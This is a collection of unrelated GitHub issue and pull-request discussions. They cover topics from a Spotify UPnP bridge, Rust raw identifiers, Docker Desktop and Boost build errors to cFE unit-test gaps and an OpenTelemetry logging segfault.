spotconnect-upnp | [11:13:10.108] UpdateThread:859 [0x7f5ac3f0f010] UPnP keep alive: Kodi (Xeon10) (av)
spotconnect-upnp | [11:13:11.008] UpdateThread:859 [0x7f5ac3f0f010] UPnP keep alive: Kodi (Xeon10) (av)
spotconnect-upnp | [11:13:11.033] UpdateThread:859 [0x7f5ac3f141d0] UPnP keep alive: Aune S6 (8x) (av)

Hello, I just want to confirm that this issue happens also when using kodi upnp as a player in LMS. Roughly I see the same delays, so I believe the issue has nothing to do with SpotConnect.
Also the issue with AirPlay is solved (for who might read just one the latest post, we simply need to enable encryption for the specific device in the configuration file).
So I think this can be closed, thank you for the support.

Still, LMS UPnP bridge and SpotConnect share a lot of common code as I'm the author of both.

Still, LMS UPnP bridge and SpotConnect share a lot of common code as I'm the author of both.

Yes, I knew that, and I must congratulate with you for your excellent works.
In particular I am enjoying LMS UPnP bridge a lot more recently, especially when I noticed that it supports hires.
Correct me if I am wrong, but I remember that some time ago that 16/44.1 was the limit. Not that I am able to hear the difference between the same master at different sampling rates but I try to avoid resampling to happen on my devices if it is possible.
About the specific issue with Kodi: I tested to stream a song from bubbleupnp player, using its own "Qobuz" source, to Kodi UPnP. It is definitely faster than from LMS (so using UPnP bridge). Like a few moments against more than ten seconds. So maybe something can be improved there...
May I help you somehow, maybe performing some tests and collecting the relevant logs?
If so, should we re-open this issue or open a new one?
Thank you again.


Updated section on identifiers for raw identifiers

The grammar is technically okay as-is, but if it made you misread it, then it could plainly be clearer! I don’t want to confuse others after all. I think I’ll go with your first suggestion if that’s alright. (You still need the comma after “identifier” in your second suggestion.)

On 11 Aug 2018, at 21:30, Ryan Scheel<EMAIL_ADDRESS>wrote:
@Havvy commented on this pull request.
In src/identifiers.md https://github.com/rust-lang-nursery/reference/pull/395#discussion_r209436846:

@@ -21,5 +23,7 @@ Or

The identifier is more than one character. _ alone is not an identifier.
The remaining characters are alphanumeric or _.

+A raw identifier is like a normal identifier, but prefixed by r#, which is not included as part of the identifier. Unlike a normal identifier, a raw identifier may be any strict or reserved keyword.
Actually, looking at it closer, another option is to change ", but" to "except". So A raw identifier is like a normal identifier except prefixed by r#, which is not included as part of the identifier. The main thing is to get rid of one of the commas as it's currently grammatically murky with both of them.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/rust-lang-nursery/reference/pull/395#discussion_r209436846, or mute the thread https://github.com/notifications/unsubscribe-auth/AAEF3EkGKgwiYnjxGFJaMsXeq-BXmXRvks5uPz7cgaJpZM4V2yNI.

Can we get this merged now that the actual Rust feature has been stabilised? :-)

Yes. 💟 Thanks for the contribution!


Docker Desktop hangs and needs factory reset after adding file sharing directory

When using Docker Desktop version <IP_ADDRESS> (42247), channel stable, engine 19.03.5, compose v1.25.2, k8s v1.15.5, notary 0.6.1, credential helper 0.6.3
If you add a file share (in our cases, adding /opt caused this) in "Preferences > Resources > File Sharing", the entire docker desktop seems to get corrupted.
The docker process on command line hangs (with any command). It seems like something was corrupt or misconfigured at this point. No errors were shown, everything just seems to hang relating to docker.
Attempted workarounds:

restart docker desktop
restart machine
starting going thru all options (top down) in "Troubleshoot"

restart docker (again)
reset disk
reset to factory defaults << THIS FIXED IT

This has occured on numerous systems now (at first I thought it was just an isolated incident) but now it seems like a legit bug.

This repo is for the Docker Image Registry software, this issue may be better suited to being reported in the following repo: https://github.com/docker/for-linux

Closing, as per @techknowlogick comment, this is the wrong repository to ask this question in.


Incorrect glyphicon displayed inside button

Ruby 1.9.3., Rails 4.2.0
GEMS:  bootstrap_form (2.2.0), bootstrap-sass (<IP_ADDRESS>)
Firefox ESR 31.3.0

I am editing the view of a page, and replacing a text link with a button link. I figured out how to correctly do so; however, the glyphicon generated does not match what I chose in the view.
%a{class: "btn btn-warning", role: "button", href: edit_ip_path(ip)}
  %span.glyphicon.glyphicon-pencil

Instead, some envelope (or whatever) appears. Interestingly enough, even the browser's dev panel shows I entered glyphicon-pencil

To make sure the icon was not a weird-shaped pencil, I tested glyphicon-star:

Thank you for any and all help. As needed, I will submit any code you guys need.

Are you using bootstrap-sass v3.3.3 ?

@cvrebert I just updated my original comment. No, I am using v. <IP_ADDRESS> -- is this issue resolved in the newer release?

There was a Glyphicon-related bug in 3.3.2 that was fixed in 3.3.3, so guess that's not your issue.
Please re-file this issue in the correct repo: https://github.com/twbs/bootstrap-sass

I submitted an issue there. Thank you for pointing me in the right direction. For future reference, when should I submit an issue to bootstrap-sass, vs bootstrap itself?

If you can reproduce the issue with "regular" Less-based Bootstrap, file it here. Otherwise, file it with bootstrap-sass.

X-Ref: https://github.com/twbs/bootstrap-sass/issues/834


[NT-425] Manage Pledge Refresh

📲 What
Refreshes the manage pledge screen when a user:

updates their pledge amount
changes their payment method
selects a new reward

🤔 Why
So that the updated pledge is reflected in the manage pledge screen when a change has been made.
🛠 How
Initially I was thinking the best approach would be to just refresh the backing when any change is updated. But after discussing with the Android team, it was brought up that it's nice to refresh the whole project in case rewards have changed. I decided to go with that approach based on that point.
👀 See

♿ Accessibility
N/A
🏎 Performance
N/A
✅ Acceptance criteria

[x] Test update pledge: navigate to a backing that was created in the same environment that you are testing on. Then, navigate to "Update pledge" from the Manage Pledge screen. Change your pledge amount and tap "Confirm". You should be taken back to the Manage Pledge Screen and the amount should be updated.
[x] Test update payment method: navigate to a backing that was created in the same environment that you are testing on. Then, navigate to "Change Payment Method" from the Manage Pledge screen. Change your payment method and tap "Confirm". You should be taken back to the Manage Pledge Screen and the payment source should be updated.
[ ] Test choose a new reward: navigate to a backing that was created in the same environment that you are testing on. Then, navigate to "Choose a new reward" from the Manage Pledge screen. Change your selected reward tap "Confirm". You should be taken back to the Manage Pledge Screen and the reward should be updated.

Nice! This appears to work great. Approved with some minor suggestions.
Also, I was unable to test the third AC because that is something I'm currently fixing separately and that depends on work being done in #899.
Oh, also - of course this doesn't handle errors from the refreshing. I think that's fine for this? One would have to lose connectivity immediately after saving changes which is kind've an edge case. However if something did go wrong with the refreshing endpoint we wouldn't know about it.
Let me know if you think we should add error messaging for the refresh and I can re-review.

Yeah this was a conscious decision – I figured that since we already show the "Got, it your pledge has been updated" message when the update request succeeds, it would be really confusing as a user to then see something like "Failed to get project" or "Something went wrong" because there's no context for the user around what actually failed. I felt it was best to fail silently, but open to discussing it. Fwiw Android also fails silently on refreshing the project.


feat: support minimal install

add minimal installation -- do not install gitlab and replace harbor with docker registry
auto calculate default branch
fuzzy version dependencies

docker registry should be an implement of registry interface in the follow-up work.


A closing curly brace followed by a newline character doesn't imply anything.

From the syntax doc:

A closing curly brace followed by a newline character implies a statement separator, which is why you don't need to write a semicolon after an if statement block.

But this is not true. The closing curly in an uncuddled if-else won't imply a statement separator. The actual rule is that the end of a statement followed by vertical whitespace implies a statement separator. But, a statement can be anything that Perl 6 decides is a statement.
See Is Perl 6's uncuddled else a special case for statement separation?

This is clarified in the same section:

This doesn't happen in series of blocks that are part of the same if/elsif/else (or similar) construct because they are part of a single statement.

Isn't it good enough?

It would be better without special cases.

I think of it more as the specialness of else/elsif that causes it to bind to the previous iffy statement, including ignoring/undoing the automatic statement separator. (but not ignoring an explicit statement separator)
After all it is special anyway, because it has to follow such a statement.

To be really pedantic, the sentence quoted from the doc also doesn't specify that the rule only applies to the closing braces of blocks in the "main" Perl 6 slang.
It doesn't apply inside the "string" slang:
dd "{1+1}
4";
# Prints "2\n4"

Nor inside the "regex" slang:
say "abcd" ~~ / . ** {1+1}
$ /;
# Prints ｢cd｣

Nor to curly braces that aren't the end delimiter of a block:
sub infix:<|}> { $^a + $^b };  say 10 |}
5;
# Prints 15

@b2gills:

I think of it more as the specialness of else/elsif that causes it to bind to the previous iffy statement, including ignoring/undoing the automatic statement separator.

Agreed. As long as the promised Perl 6 macro support with a public API for traversing/manipulating Perl 6 AST hasn't arrived yet, there's nothing to say that an if / else pair is even supposed to be viewed as a single statement. (How Rakudo/NQP sees it internally, is merely an implementation detail.)

Thanks. I believe https://github.com/perl6/doc/commit/7bb1fec099ca12119575f300ee4ca3682bf662f8 addresses this Issue.


typeahead: Simplify away query_matches_source_attrs

This is a series of small pure refactors, which simplify this code and will also be helpful for mobile to re-use more of it.

typeahead [nfc]: Push toLowerCase down into query_matches_string.
This prepares us to dissolve query_matches_source_attrs in favor
of making its call sites simpler and more transparent.
typeahead [nfc]: Dissolve query_matches_source_attrs.
This makes each of the call sites more straightforward and
transparent.  In query_matches_person it also opens up further
simplifications, which we'll make next.
Since we're now exporting query_matches_string from this
shared module, we write its type in the .js.flow file.
typeahead [nfc]: Use people.get_visible_email abstraction.
Best to centralize this logic -- makes the intention clearer at the
use site, and also puts us in better position to make changes to it in
the future.
typeahead [nfc]: Dedupe query_matches_person logic a bit.
I think this makes the flow a bit clearer: we always search
.full_name, and if emails are real then we also search the email.

Self-review checklist

[x] Self-reviewed the changes for clarity and maintainability
(variable names, code reuse, readability, etc.).

Communicate decisions, questions, and potential concerns.

[ ] Explains differences from previous plans (e.g., issue description).
[ ] Highlights technical choices and bugs encountered.
[ ] Calls out remaining decisions and concerns.
[ ] Automated tests verify logic where appropriate.

Individual commits are ready for review (see commit discipline).

[x] Each commit is a coherent idea.
[x] Commit message(s) explain reasoning and motivation for changes.

Completed manual review and testing of the following:

[ ] Visual appearance of the changes.
[ ] Responsiveness and internationalization.
[ ] Strings and tooltips.
[ ] End-to-end functionality of buttons, interactions and flows.
[ ] Corner cases, error conditions, and easily imagined bugs.

These refactors are great, merged, thanks @gnprice!


small difference with original theme

I have no idea if it's possible to solve this but I found a small difference with the original theme (await keyword).

I don't think it's possible to solve this because VS Code and Neovim syntax highlighting uses very different approach.


Failed to build with boost 1.70.0

We can install boost 1.70.0 through brew on Mac now, but got failed to build Clipper on Mac with boost 1.70.0. Error message is here, I think this is from SimpleWebServer.
In file included from /Users/user/Workplace/github/sungjunkim/clipper/src/frontends/src/query_frontend.hpp:22:
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:302:84: error: no member named 'get_io_service' in 'boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor>'
        timer = std::unique_ptr<asio::steady_timer>(new asio::steady_timer(socket->get_io_service()));
                                                                           ~~~~~~  ^
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:638:28: note: in instantiation of member function 'SimpleWeb::ServerBase<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor>
      >::Connection::set_timeout' requested here
      session->connection->set_timeout(config.timeout_request);
                           ^
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:933:17: note: in instantiation of member function 'SimpleWeb::ServerBase<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor> >::read' requested here
          this->read(session);
                ^
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:72:207: error: no member named 'get_io_service' in 'boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor>'
      Response(std::shared_ptr<Session> session_, long timeout_content) noexcept : std::ostream(nullptr), session(std::move(session_)), timeout_content(timeout_content), strand(session->connection->socket->get_io_service()) {
                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~  ^
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:646:57: note: in instantiation of member function 'SimpleWeb::ServerBase<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor> >::Response::Response'
      requested here
          auto response = std::shared_ptr<Response>(new Response(session, this->config.timeout_content));
                                                        ^
/Users/user/Workplace/github/sungjunkim/clipper/src/libs/httpserver/server_http.hpp:933:17: note: in instantiation of member function 'SimpleWeb::ServerBase<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::executor> >::read' requested here
          this->read(session);

Clipper is safe because all images use boost 1.65.1.

This issue was raised already on SimpleWebServer. Here.

I faced this error as well. https://www.boost.org/doc/libs/1_70_0/doc/html/boost_asio/history.html
Based on this, get_io_service is deprecated and removed. I will try to replace the function and see if it can compile the program.

Confirmed the latest simpleWebServer does not use deprecated and removed get_io_service. I think we can keep using the version >= 1.65.1 for now, and later when we update the simpleWebServer, it will be fixed.

Good news! but we always have to run integration tests on Docker, the local tests on Mac will be impossible before fixing this error.

Hi all, few things:

We can run a sanity check for Clipper to compile on macosx with travis. Just a simple test to check Clipper compiles should suffice.
Ubuntu relies on debian's default boost version, which is currently 1.65. However, if the new SimpleWebServer does build against 1.65, then we can use the current master SimpleWebServer. It seems the author committed the change 1 week ago.
We shouldn't change the boost version in docker containers.

@withsmilo @simon-mo Will ask SimpleWebServer if their current master is compatible to boost 1.65. After that, let's change the SimpleWebserver

Any update on this issue ?


Adding firebase preview channel

Configuring firebase preview channel for firebase.

https://app.shortcut.com/cartoteam/story/185660/configure-firebase-preview-channel-on-cloud-next-next-carto-io-for-pull-requests


Optical path?

The PRODML standard has a concept called 'Optical Path', which resembles our cable/fiber but is intended to capture the entire optical path during a single acquisition and would map to an OTDR measurement (which might be linked as an ancillary file). In this way the entire response could be captured including any splices or connections and could be validated by comparison with an OTDR measurement, which is usually conducted prior to data collection anyway. Perhaps something to think about.

This issue continued at https://github.com/FDSN/DAS-metadata/issues/5


Create makefile

A Makefile was added to the root directory of this project. A Makefile helps in providing developers an easy to understand, concise, and uniform way to build a project. Makefiles can help compile source code into binaries, or create distributable packages, or even install from source.
This makefile contains 5 commands:

build_demo : This command reads the demo directory specified by DEMODIR, and compiles any golang file found into a C shared library file. The output .so files will be named the same as the golang files, and stored in $(DEMODIR)/build directory.
build : This command works just like the previous command. It reads the algorithm directory, and compiles any golang file found into a C shared library file. The output .so files will be named the same as the golang files, and stored in $(BUILDOUTPUTDIR), which is currently set to /src/bin.
clear : deletes all C shared libraries, header files, and any other files present in $(BUILDOUTPUTDIR)/
clearall : deletes all C shared libraries, header files, and any other files present in $(BUILDOUTPUTDIR)/ and $(DEMODIR)/build/
dist: This command is currently just a placeholder, and has not been implemented yet. It will be used to compile the python package into an installable wheel file once the package is configured and ready to be built.

Closes #19

A change had to be made in demo_app.py to account for the new build directories that the Makefile builds C shared libraries into.
The commands present in the Makefile are currently only for unix systems, and will not work on Windows systems. This would require additional modifications similar to what was done here, which could be done in a future issue.

A change in the .gitignore file was made to exclude the /src/bin file from the repository, as binaries do not need to be pushed onto the repository. Any user can build the binaries from source manually or by using the Makefile commands


APIs Missing Unit Tests

Describe the bug
The following APIs need to have additional Unit Tests added:
cfe_es_api.c:CFE_ES_DeleteApp - Should test on boundary conditions for AppID
cfe_es_api.c:CFE_ES_GetAppIDByName - Don’t see where this is ever called in unit test
cfe_es_api.c:CFE_ES_ReloadApp - Should test on boundary conditions for AppID
cfe_es_api.c:CFE_ES_RestartApp - No success path test
cfe_esmempool.c:CFE_ES_GetMemPoolStats - No success path test
cfe_sb.h:CFE_SB_MsgId_Equal - Don’t see where this is ever called in unit test
cfe_sb.h:CFE_SB_MsgIdToValue - Don’t see where this is ever called in unit test
cfe_sb.h:CFE_SB_ValueToMsgId - Don’t see where this is ever called in unit test
cfe_sb_api.c:CFE_SB_SubscribeFull - There are 3 cases where   CFE_SB_BAD_ARGUMENT can get returned…UT should test each one individually.  Also this is outside the scope of the argument validation audit, but there are 3 additional return codes not tested in the unit test.
cfe_sb_api.c:CFE_SB_SubscribeLocal - Consider subscribing to message with limit greater than   CFE_PLATFORM_SB_DEFAULT_MSG_LIMIT
cfe_tbl_api.c:CFE_TBL_DumpToBuffer - No success path test
cfe_tbl_api.c:CFE_TBL_GetAddresses - Should test on boundary conditions for NumTables
cfe_tbl_api.c:CFE_TBL_GetStatus - Don’t see a success path test
cfe_tbl_api.c:CFE_TBL_ReleaseAddresses - No success path test. Also, should test on boundary conditions for NumTables
cfe_tbl_api.c:CFE_TBL_Update - Don’t see a success path test
cfe_tbl_api.c:CFE_TBL_Validate - No success path test
cfe_time_tone.c:CFE_TIME_Local1HzISR - Don’t see where this is ever called in unit test
Expected behavior
Unit Tests test all success/error paths
System observed on:
NA code review/audit
Reporter Info
Dan Knutsen
NASA Goddard

1. cfe_es_api.c:CFE_ES_DeleteApp - Should test on boundary conditions for AppID
In cFE/modules/es/fsw/src/cfe_es_api.c

Checks if AppID is null
Checks if AppID is an external cFE App
Checks if AppID is not running
Does not check if App ID is greater than or less than the min/max values of possible APIDs, but checks if AppID is not CFE_ES_AppType_CORE.

In cFE/modules/es/ut-coverage/es_UT.c

Test deleting an app that doesn't exist
Does not check if App ID is greater than or less than the min/max values of possible APIDs

2. cfe_es_api.c:CFE_ES_GetAppIDByName - Don’t see where this is ever called in unit test
Called in cFE/modules/es/ut-coverage/es_UT.c
    /* Test CFE_ES_GetAppIDByName error with null AppID pointer and valid name */
    ES_ResetUnitTest();
    UtAssert_INT32_EQ(CFE_ES_GetAppIDByName(NULL, "UT"), CFE_ES_BAD_ARGUMENT);

    /* Test CFE_ES_GetAppIDByName error with valid AppID and NULL name */
    ES_ResetUnitTest();
    ES_UT_SetupSingleAppId(CFE_ES_AppType_EXTERNAL, CFE_ES_AppState_RUNNING, "UT", NULL, NULL);
    UtAssert_INT32_EQ(CFE_ES_GetAppIDByName(&AppId, NULL), CFE_ES_BAD_ARGUMENT);

3. cfe_es_api.c:CFE_ES_ReloadApp - Should test on boundary conditions for AppID
In cFE/modules/es/fsw/src/cfe_es_api.c

Checks if AppID is null
Checks if AppID is external
Checks if AppID is not running
Does not check if App ID is greater than or less than the min/max values of possible APIDs, but checks if AppID is not CFE_ES_AppType_CORE.

In cFE/modules/es/ut-coverage/es_UT.c

Test CFE_ES_ReloadApp with bad AppID argument
Test reloading a core app
Test reloading an app that is currently not running
Test success initiating an app reload
Test Reload app: file doesn't exist
Does not check if App ID is greater than or less than the min/max values of possible APIDs, but checks if app is CFE_ES_AppType_CORE, CFE_ES_APPID_UNDEFINED, or CFE_ES_AppType_EXTERNAL.

4. cfe_es_api.c:CFE_ES_RestartApp - No success path test

No success test in cFE/modules/es/ut-coverage/es_UT.c

5. cfe_esmempool.c:CFE_ES_GetMemPoolStats - No success path test

No success test in cFE/modules/es/ut-coverage/es_UT.c

6. cfe_sb.h:CFE_SB_MsgId_Equal - Don’t see where this is ever called in unit test

Called in cFE/modules/evs/ut-coverage/evs_UT.c

    /* Note implementation initializes both short and long message */
    UtAssert_INT32_EQ(UT_GetStubCount(UT_KEY(CFE_MSG_Init)), 2);
    UtAssert_INT32_EQ(UT_GetStubCount(UT_KEY(CFE_SB_TransmitMsg)), 1);
    CFE_UtAssert_TRUE(CFE_SB_MsgId_Equal(MsgData.MsgId, ShortFmtSnapshotData.MsgId));
    CFE_UtAssert_FALSE(CFE_SB_MsgId_Equal(MsgData.MsgId, LongFmtSnapshotData.MsgId));

7. cfe_sb.h:CFE_SB_MsgIdToValue - Don’t see where this is ever called in unit test

Called in cFE/modules/msg/ut-coverage/test_cfe_msg_msgid_v1.c

    UtPrintf("Set msg to all 0, set msgid to max and verify");
    memset(&msg, 0, sizeof(msg));
    CFE_UtAssert_SUCCESS(CFE_MSG_GetMsgId(&msg, &msgid));
    UtAssert_INT32_EQ(CFE_SB_MsgIdToValue(msgid), 0);
    CFE_UtAssert_SUCCESS(CFE_MSG_SetMsgId(&msg, CFE_PLATFORM_SB_HIGHEST_VALID_MSGID));
    UT_DisplayPkt(&msg, sizeof(msg));
    CFE_UtAssert_SUCCESS(CFE_MSG_GetMsgId(&msg, &msgid));
    UtAssert_INT32_EQ(CFE_SB_MsgIdToValue(msgid), CFE_PLATFORM_SB_HIGHEST_VALID_MSGID);

8. cfe_sb.h:CFE_SB_ValueToMsgId - Don’t see where this is ever called in unit test

Called in cFE/modules/msg/ut-coverage/test_cfe_msg_msgid_v1.c

    UtPrintf("Set ApId msgid bits only and verify");
    CFE_UtAssert_SUCCESS(CFE_MSG_SetMsgId(&msg, CFE_SB_ValueToMsgId(TEST_MAX_APID)));
    CFE_UtAssert_SUCCESS(CFE_MSG_GetMsgId(&msg, &msgid));
    UtAssert_INT32_EQ(Test_MSG_NotZero(&msg), MSG_APID_FLAG);
    CFE_UtAssert_SUCCESS(CFE_MSG_GetApId(&msg, &apid));
    UtAssert_INT32_EQ(apid, TEST_MAX_APID);

9. cfe_sb_api.c:CFE_SB_SubscribeFull - There are 3 cases where CFE_SB_BAD_ARGUMENT can get returned…UT should test each one individually. Also this is outside the scope of the argument validation audit, but there are 3 additional return codes not tested in the unit test.
10. cfe_sb_api.c:CFE_SB_SubscribeLocal - Consider subscribing to message with limit greater than CFE_PLATFORM_SB_DEFAULT_MSG_LIMIT

Doesn't use CFE_PLATFORM_SB_DEFAULT_MSG_LIMIT, uses MsgLim instead. Does not use message greater than MsgLim.

11. cfe_tbl_api.c:CFE_TBL_DumpToBuffer - No success path test

No success test found in modules/tbl/ut-coverage/tbl_UT.c

12. cfe_tbl_api.c:CFE_TBL_GetAddresses - Should test on boundary conditions for NumTables

No boundary conditions for NumTables in modules/tbl/fsw/src/cfe_tbl_api.c

13. cfe_tbl_api.c:CFE_TBL_GetStatus - Don’t see a success path test

No success test in modules/tbl/ut-coverage/tbl_UT.c

14. cfe_tbl_api.c:CFE_TBL_ReleaseAddresses - No success path test. Also, should test on boundary conditions for NumTables

No success test in modules/tbl/ut-coverage/tbl_UT.c
No boundary conditions for NumTables in modules/tbl/fsw/src/cfe_tbl_api.c

15. cfe_tbl_api.c:CFE_TBL_Update - Don’t see a success path test

No success test in modules/tbl/ut-coverage/tbl_UT.c

16. cfe_tbl_api.c:CFE_TBL_Validate - No success path test

No success test in modules/tbl/ut-coverage/tbl_UT.c

17. cfe_time_tone.c:CFE_TIME_Local1HzISR - Don’t see where this is ever called in unit test

Not called in files in the ut-coverage folder

Great work.  ID checks against undefined along with a success case are sufficient for testing the "range" so those are good enough.  Confirming CFE_TIME_Local1HzISR will get called from the TIME coverage test update issue #473.  With this analysis and the remaining missing tests having specific issues, closing as duplicate/OBE.


*(ticdc): remove unused cdcv2 package

What problem does this PR solve?

Issue Number: close #11176
What is changed and how it works?
remove unused code
Check List
Tests

Unit test
Integration test
Manual test (add detailed scripts or steps below)
No code

Questions
Will it cause performance regression or break compatibility?
Do you need to update user documentation, design documentation or monitoring documentation?
Release note
`None`.

/retest-required
/retest-required

/retest-required

/retest-required
/retest-required

/retest-required

/retest-required


fix: don't parse non-date strings

Non-date strings in fieldAt fields of userData are being converted to Date nonetheless, leading to replacing the actual values with Invalid Date.
This PR first checks whether the Date conversion resulted in an actual date and only then stores the date - otherwise, the original value is preserved.
Fixes #406

ha, PR toolkit finally works :]


Send "Key Pressed" events to native views

Closes issue#1937
I think I need some guidance on how to write internal test for the feature.

Please fix formatting.

I think I need some guidance on how to write internal test for the feature.

You can add a new screen to the app found at dev/e2e_app and write a simple test that uses the new method you're adding.

Hey @AlexanderFarkas are you still going to work on this?

@pdenert Unfortunately, now I don't have time to work on it. My team decided to wait for this package to stabilise a bit.
Given that internal structure was redone (unifying darwin implementation) after I wrote this PR, I believe this PR became obsolete.

@bartekpacia
was this later implemented? cant find anything about key pressed events on the patrol docs

@BishopSam Not yet. We will take care of finishing this


IntelliJ-Plugin: add support for other namespaces

I'm currently working on some datapacks that add custom recipes for the create-mod. The IntelliJ-IDE notes that the type create:milling isn't valid. And I was not able to figure out how I can import types from other mods/namespaces.

At present, this function is not supported, because the embedded data pack of mod is different from the pure data pack, and there is no pack.mcmeta file. There are special plug-ins for mod development, and if you want to separate the data packs embedded in mod, you can copy these files manually.


exporter/collector/logs: segfault when setting gcp.source_location

It looks like this is coming from
https://github.com/GoogleCloudPlatform/opentelemetry-operations-go/blob/02b243a6fbedbdc6118f2e2dc34aced98fc70dba/exporter/collector/logs.go#L397
which calls sourceLocation.Bytes().AsRaw() without confirming that the attribute has a bytes value.
Stacktrace
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xce2fbc]

goroutine 127 [running]:
go.opentelemetry.io/collector/pdata/pcommon.ByteSlice.AsRaw(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/pdata@v1.0.0-rcv0016/pcommon/generated_byteslice.go:37
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/collector.logMapper.logToSplitEntries({{0xc0019b22a0}, {{0xc00155a030, 0xa}, {0xc001d1a810, 0x26}, {{0x0, 0x0}, {0x0, 0x0}, {0x0, ...}}, ...}, ...}, ...)
        /root/go/pkg/mod/github.com/!google!cloud!platform/opentelemetry-operations-go/exporter/collector@v0.44.0/logs.go:397 +0x47c
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/collector.logMapper.createEntries({{0xc0019b22a0}, {{0xc00155a030, 0xa}, {0xc001d1a810, 0x26}, {{0x0, 0x0}, {0x0, 0x0}, {0x0, ...}}, ...}, ...}, ...)
        /root/go/pkg/mod/github.com/!google!cloud!platform/opentelemetry-operations-go/exporter/collector@v0.44.0/logs.go:282 +0x8d4
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/collector.(*LogsExporter).PushLogs(0xc001eb4800, {0x5b60de0, 0xc001f9c930}, {0xc001b8e468?, 0xc001f9a2b0?})
        /root/go/pkg/mod/github.com/!google!cloud!platform/opentelemetry-operations-go/exporter/collector@v0.44.0/logs.go:199 +0xca
go.opentelemetry.io/collector/exporter/exporterhelper.(*logsRequest).Export(0x19?, {0x5b60de0?, 0xc001f9c930?})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/logs.go:60 +0x32
go.opentelemetry.io/collector/exporter/exporterhelper.(*timeoutSender).send(0xc001ece240, {0x5b76fa0, 0xc001f9c900})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/timeout_sender.go:41 +0x9c
go.opentelemetry.io/collector/exporter/exporterhelper.(*baseRequestSender).send(0xc001ed8680?, {0x5b76fa0?, 0xc001f9c900?})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/common.go:36 +0x25
go.opentelemetry.io/collector/exporter/exporterhelper.(*logsExporterWithObservability).send(0xc001ece228, {0x5b76fa0, 0xc001f9c900})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/logs.go:176 +0x82
go.opentelemetry.io/collector/exporter/exporterhelper.(*queueSender).send(0xc001ae9b00, {0x5b76fa0, 0xc001f9c900})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/queue_sender.go:168 +0x40f
go.opentelemetry.io/collector/exporter/exporterhelper.(*baseExporter).send(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/common.go:196
go.opentelemetry.io/collector/exporter/exporterhelper.NewLogsExporter.func1({0x5b60e18?, 0xc0019dfa90}, {0xc001b8e468?, 0xc001f9a2b0?})
        /root/go/pkg/mod/go.opentelemetry.io/collector/exporter@v0.87.0/exporterhelper/logs.go:100 +0xe4
go.opentelemetry.io/collector/consumer.ConsumeLogsFunc.ConsumeLogs(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/consumer@v0.87.0/logs.go:25
go.opentelemetry.io/collector/processor/processorhelper.NewLogsProcessor.func1({0x5b60e18, 0xc0019dfa90}, {0xc001b8e468?, 0xc001f9a2b0?})
        /root/go/pkg/mod/go.opentelemetry.io/collector/processor@v0.87.0/processorhelper/logs.go:60 +0x1f6
go.opentelemetry.io/collector/consumer.ConsumeLogsFunc.ConsumeLogs(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/consumer@v0.87.0/logs.go:25
go.opentelemetry.io/collector/processor/processorhelper.NewLogsProcessor.func1({0x5b60e18, 0xc0019dfa90}, {0xc001b8e468?, 0xc001f9a2b0?})
        /root/go/pkg/mod/go.opentelemetry.io/collector/processor@v0.87.0/processorhelper/logs.go:60 +0x1f6
go.opentelemetry.io/collector/consumer.ConsumeLogsFunc.ConsumeLogs(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/consumer@v0.87.0/logs.go:25
go.opentelemetry.io/collector/consumer.ConsumeLogsFunc.ConsumeLogs(...)
        /root/go/pkg/mod/go.opentelemetry.io/collector/consumer@v0.87.0/logs.go:25
github.com/open-telemetry/opentelemetry-collector-contrib/internal/coreinternal/consumerretry.(*logsConsumer).ConsumeLogs(0xc002145740, {0x5b60e18?, 0xc0019dfa90?}, {0xc001b8e468?, 0xc001f9a2b0?})
        /root/go/pkg/mod/github.com/open-telemetry/opentelemetry-collector-contrib/internal/coreinternal@v0.87.0/consumerretry/logs.go:37 +0x19e
github.com/open-telemetry/opentelemetry-collector-contrib/pkg/stanza/adapter.(*receiver).consumerLoop(0xc001ae9dd0, {0x5b60e18, 0xc0019dfa90})
        /root/go/pkg/mod/github.com/open-telemetry/opentelemetry-collector-contrib/pkg/stanza@v0.87.0/adapter/receiver.go:124 +0x1be
created by github.com/open-telemetry/opentelemetry-collector-contrib/pkg/stanza/adapter.(*receiver).Start in goroutine 1
        /root/go/pkg/mod/github.com/open-telemetry/opentelemetry-collector-contrib/pkg/stanza@v0.87.0/adapter/receiver.go:68 +0x285

Reproducer
Here's a sample input log and config you can use to reproduce the segfault. (I'm sure you could also just do it with a otlpjsonfilereceiver and skip the transformation, but I'm not sure how to easily set up such a test case.)
input.log
{"message": "test message", "logging.googleapis.com/sourceLocation": {"file": "file", "line": "1", "function": "function"}}

config.yaml:
exporters:
  googlecloud/otel:
    log:
      default_log_name: my-log-name
      endpoint: <IP_ADDRESS>:46851
      use_insecure: true
    project: my-project
    sending_queue:
      enabled: false
processors:
  transform/input_0:
    log_statements:
      context: log
      statements:
      - set(body, ParseJSON(body))
